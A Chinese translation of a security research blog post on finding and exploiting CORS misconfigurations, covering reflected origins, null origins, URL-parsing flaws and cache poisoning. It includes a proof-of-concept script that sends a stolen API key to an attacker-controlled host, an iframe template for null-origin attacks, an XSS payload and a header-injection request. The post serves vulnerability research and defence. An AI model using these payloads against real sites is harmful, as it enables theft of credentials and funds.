原文地址:https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties?tdsourcetag=s_pcqq_aiomsg

在本文中,我将展示如何识别和利用配置错误的CORS。本文内容摘自AppSec USA大会上的演讲内容,并做了相应的提炼。如果您的时间比较充裕(或阅读本文时遇到了难以理解的内容)的话,我强烈建议您查看相关的幻灯片并观看相关视频

What is CORS? (Cross Origin Resource Sharing)

跨域资源共享(CORS)是这样一种技术,网站可以通过它来降低浏览器的同源策略的严格程度,从而实现不同网站之间的跨域通信。过去,该技术经常被Web API使用,但在现代复杂的网站中,也经常看到它的身影。众所周知,某些CORS配置一旦失误,是带来严重的后果;与此同时,与该配置相关的许多细节及其具体含义很容易被误解。在这篇文章中,我将为读者介绍黑客如何考察CORS的配置失误,并利用这些失误来窃取比特币的。

CORS for hackers

我们知道,网站可以通过发送如下所示的HTTP响应头部来启用CORS机制:

Access-Control-Allow-Origin: https://example.com

这实际上就是允许上面指定的源(域)通过用户的浏览器中向其他服务器发送跨域请求并读取响应——而正常情况下,同源策略会阻止这些请求。默认情况下,发送这些请求时是不会携带用户的cookie或其他凭证的,因此,攻击者无法窃取用户的敏感信息(如CSRF令牌)。不过,服务器也可以使用如下所示的头部来启用凭证传输机制:

Access-Control-Allow-Credentials: true

这就建立了信任关系——因此,如果example.com存在XSS漏洞,那么漏洞的影响将会扩散。

Hidden in plain sight

如上所示,在信任单个源的情况下,还是很容易指定的。然而,如果我们需要信任多个源的话,那该怎么办呢?按照相关规范的建议,我们只需将其放人一个以空格分隔的列表中即可,例如:

Access-Control-Allow-Origin: http://foo.com http://bar.net

然而,没有浏览器真正支持这种做法。

有时候,我们想要利用通配符来指定信任的所有子域,例如:

Access-Control-Allow-Origin: *.portswigger.net

但这也行不通。因为这里要么给出一个完整的域名,要么只给出单个通配符*——表示允许任意域名。

实际上,CORS自身也提供了一个隐藏的安全措施。如果您想完全禁用SOP并将自己的网站"暴露"给所有人,可以使用下面的头部组合:

Access-Control-Allow-Origin: *\
Access-Control-Allow-Credentials: true

这样的话,我们就会在浏览器控制台中收到以下错误消息:

Cannot use wildcard in Access-Control-Allow-Origin when credentials flag is true.(即当凭据标志为true时,在Access-Control-Allow-Origin中不能使用通配符。)

实际上,相关规范中提到了这个异常,并且Mozilla的文档支持也有所述及:

在响应凭证请求时,服务器必须指定域,并且不能使用通配符

换句话说,使用通配符可以有效地禁用Allow-Credentials头部。

由于这些限制,许多服务器以编程方式根据用户提供的Origin值来生成Access-Control-Allow-Origin头部。这是最常见的一种CORS漏洞。当我们发现HTTP响应带有任何Access-Control-*头部却未声明域的时候,这就表明服务器将根据我们的输入来生成头部。其他服务器只有在收到包含Origin头部的请求时才会发送CORS头部,这使得相关的漏洞非常容易被遗漏。

Credentials and bitcoins

因此,许多网站都是从用户输入中获得允许跨域访问的域名的。那么,这会不会导致安全隐患呢?于是,我决定评估一些漏洞赏金网站并从中寻找答案。请注意,虽然这些网站都提供了漏洞赏金计划,但是,前面提到的漏洞还是被许多赏金猎人所遗漏了。我很快就复现了 Evan Johnson's finding 的发现,即许多应用程序在做出响应之前,并没有对源进行检查,同时,我还找到了一个易受攻击的比特币交易所(遗憾的是,该交易所不愿意公开其名称):

GET /api/requestApiKey HTTP/1.1\
Host: <redacted>\
Origin: https://fiddle.jshell.net\
Cookie: sessionid=...

HTTP/1.1 200 OK\
Access-Control-Allow-Origin: https://fiddle.jshell.net\
Access-Control-Allow-Credentials: true

{"[private API key]"}

与此同时,我还建立了一POC代码,用于证明窃取用户的私有API密钥是一件多么轻而易举的事情:

var req = new XMLHttpRequest();\
req.onload = reqListener;\
req.open('get','https://btc-exchange/api/requestApiKey',true);\
req.withCredentials = true;\
req.send();

function reqListener() {\
    location='//atttacker.net/log?key='+this.responseText;\
};

在获取用户的API密钥后,我就可以禁用帐户的通知功能,并启用2FA以将其锁定,这样就可以将其比特币转移到任意地址。由此看来,头部配置错误是一种非常严重的安全漏洞。当然,我还是克制住了将比特币收入囊中并跑路的冲动,并向该交易所提交了该漏洞,之后,他们仅用了20分钟就修复了该漏洞。

此外,对于某些网站来说,当对源进行验证以确定是否应该信任它时,常常会遇到经典的URL解析错误。例如,有一个网站(不妨称之为advisor.com)完全信任以advisor.com结尾的所有域名,包括definitelynotadvisor.com。更糟糕的是,第二个比特币交易所(我们称之为btc.net)信任所有以https://btc.net开头的域名,包括https://btc.net.evil.net。不幸的是,我还没有来得及构建POC,这个网站就突然关闭了,至于具体原因,我也不清楚。

The null origin

如果您对上面的内容非常关心的话,很可能想知道什么情况下Origin的值为null。按照相关规范的说法,重定向会触发这种情况,此外,根据stackoverflow上的某些帖子来看,本地HTML文件也可能导致这种情况。也许是由于这种情况与本地文件有关,我发现有许多的网站都将其列入了白名单,其中包括Google的PDF阅读器:

GET /reader?url=zxcvbn.pdf\
Host: docs.google.com\
Origin: null

HTTP/1.1 200 OK\
Acess-Control-Allow-Origin: null\
Access-Control-Allow-Credentials: true

此外,该问题还涉及第三方比特币交易所。这对攻击者来说再好不过了,因为任何网站都可以通过沙箱化的iframe来轻松获得值为null的Obtain头部:

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src='data:text/html,<script>*cors stuff here*</script>'></iframe>

借助于一系列的CORS请求,攻击者就可以窃取用户钱包的加密备份,然后立即展开离线蛮力破解,就能得到该钱包的密码了。如果用户的密码强度不高的话,他们的比特币就会轻而易举地被攻击者收入囊中。

更加要命的是,这种特殊的错误配置非常常见——只要你肯找,就肯定能找到。实际上,只要选用null关键字,这就注定要出问题的,因为在某些应用程序中,如果没有配置源白名单的话,就会导致……

Access-Control-Allow-Origin: null

这……

Breaking parsers

我们知道,大多数网站都是通过基本的字符串操作来验证Origin头部的,但有些网站却会将其解析为URL。这项研究最初发布三年后,Bitwis3发表了一种攻击解析器漏洞的技术,该技术利用了Safari对域名中非常规字符(unusual characters)的容忍度。对于Safari来说,这面是一个有效的URL:

http://example.com%60.hackxor.net/static/cors.html

并且,发自该URL的CORS请求将包含:

Origin: http://example.com`.hackxor.net/

如果一个站点选择解析这个头部,它可能会认为这个主机名是example.com并反射它,这样的话,我们就能够攻击Safari用户——即使该站点使用的是受信任主机名的白名单。在收到Bitwis3提供的tipoff之后,我亲自在野外试用了这种技术,事实证明它是非常有效的。

Breaking HTTPS

在这项研究中,我还发现了另外两个流行的白名单在实现方面存在的漏洞,并且这些漏洞通常都是伴生的。其中,第一个漏洞是轻率地将所有子域都列入白名单所致——甚至包括根本就不存在的子域。许多公司的子域名都会指向由第三方托管的应用程序,而这些应用程序的安全性一般都很令人担忧。如果天真地认为这些程序中没有XSS漏洞,并且将来也不会有的话,那么,这就只能怪自己太幼稚了。

第二个常见漏洞是无法限制源协议。如果一个网站是通过HTTPS访问的,同时还乐于接受来自http://wherever的CORS交互的话,那么攻击者一旦发起主动中间人(MITM)攻击,那么就可以完全绕过该站点的HTTPS。并且,HTTP Strict Transport Security功能和cookie的secure属性在防止这种攻击方面的作用几乎可以忽略不计。对于这种攻击的具体过程,请参阅我的演讲文稿。

Abusing CORS without credentials

我们已经看到,启用凭证后,CORS将变得非常危险。如果没有凭证,许多攻击将无计可施;这意味着,无法使用用户的cookie,这样的话,让用户的浏览器发送请求,与自己发送请求一样,根本无法获得更多的优势。即使是令牌固定攻击也是行不通的,因为浏览器会忽略对cookie进行的任何重设。

一个值得注意的例外是,当受害者的网络位置作为一种身份验证的时候。这种情况下,您可以使用受害者的浏览器作为代理来绕过基于IP的身份验证,进而得以访问Intranet应用程序。就危害程度来说,这种漏洞与DNS重新绑定类似,但要攻击过程要更加费劲一些。

Vary: origin

如果您仔细阅读CORS规范中的“实现方面的注意事项”部分就会发现,它要求开发人员在动态生成Access-Control-Allow-Origin头部时,同时指定HTTP头部Vary: Origin

这听起来可能很简单,但是很多人都忘了下面这句涉及W3C自身的名言

我必须说,即使W3C都没能正确配置其服务器,所以,我很难相信会有更多网站迅速支持CORS。

  • Reto Gmür

如果我们忽视这个忠告,结果会怎样呢?大多数情况下,人们就是这样做的。然而,在适当的情况下,它可能导致一些相当严重的攻击。

Client-Side cache poisoning

有时候,我们会遇到含有反射型XSS漏洞的页面,并且该漏洞位于自定义HTTP头部中。假设该网页并没有对响应该自定义头部的内容进行编码:

GET / HTTP/1.1\
Host: example.com\
X-User-id: <svg/onload=alert(1)>

HTTP/1.1 200 OK\
Access-Control-Allow-Origin: *\
Access-Control-Allow-Headers: X-User-id\
Content-Type: text/html\
...\
Invalid user: <svg/onload=alert(1)>

如果不借助CORS的话,该漏洞是无法利用的,因为没有办法让某人的浏览器跨域发送X-User-id头部。使用CORS后,我们就可以让他们发送这种请求。当然,就其本身来说,这是无用的,因为包含我们注入的JavaScript代码的响应是不会被呈现的。但是,如果未指定Vary:Origin的话,那么,该响应可以存储到浏览器的缓存中,并在浏览器导航到相关的URL时立即显示。我已经创建了一个fiddle,用来演示针对您选择的URL进行攻击。由于这种攻击使用了客户端缓存,因此,它非常可靠。

Server-side cache poisoning

当万事俱备的时候,我们就能通过HTTP头部注入技术,利用服务器端缓存中毒来创建存储型XSS漏洞了。

如果应用程序会响应Origin头部,并且不检查它是否为\r之类的非法字符的话,那么,我们实际上就获得了一个针对IE/Edge浏览器用户的HTTP头部注入漏洞,因为Internet Explorer和Edge浏览器会将\r\n(0x0d)视为有效的HTTP头部终止符:

GET / HTTP/1.1\
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7`

Internet Explorer将该响应视为: 

`HTTP/1.1 200 OK\
Access-Control-Allow-Origin: z\
Content-Type: text/html; charset=UTF-7

不过,这个漏洞是无法直接利用的,因为攻击者无法让某人的网络浏览器发送这种畸形的头部;然而,我们可以利用Burp Suite手动构造这种请求,然后,服务器端缓存很可能会保存相应的响应,并将其提供给其他人。我们使用的payload会将页面的字符集改为UTF-7,这一招对构造XSS漏洞来说非常有用。

Good intentions and bad results

最初,我并没想到动态生成Access-Control-Allow-Origin头部的网站的数量是如此之多。之所以出现这种情况,可能是CORS的两个主要限制所致——既不允许在单个头部中指定多个域,也不允许使用通配符指定子域。这使得许多开发人员别无选择,只能动态生成相应的头部,这样一来,就不得不面对以上讨论的各种实现方面容易出现的漏洞了。在我看来,如果规范得作者和浏览器允许使用源列表和部分通配符的话,动态头部生成和相关漏洞的数量将会直线下降。

浏览器的另一个可改进的地方在于,不妨将通配符+凭证异常应用于域为null的情形。目前,使用null的域的危险性要远甚于使用通配符的域,尽管很多人会对此感到非常惊讶,但是事实的确如此。

其他浏览器也可以尝试阻止我发明的“反向混合内容”攻击——HTTP站点使用CORS从HTTPS站点窃取数据。不过,我还不是很清楚这会造成什么样的后果。

简单性和安全性原本是可以相辅相成的,但是,由于浏览器不支持声明多个域,从而将复杂性直接转移到了开发人员那里,从而带来了严重的恶果。我认为,这主要归咎于规范的设计以及实现的难度方面。

Conclusion

CORS是一种功能强大技术,使用时需要格外谨慎,因为,危险的攻击方法并不总是需要精湛的技能和错综复杂的攻击链——通常情况下,只需要对规范有基本的了解和一点点的专注就足够了。如果您想图省劲的话,这里告诉您一个好消息,目前Burp Suite的扫描器已经能够识别并报告文中讨论的所有缺陷了。

点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖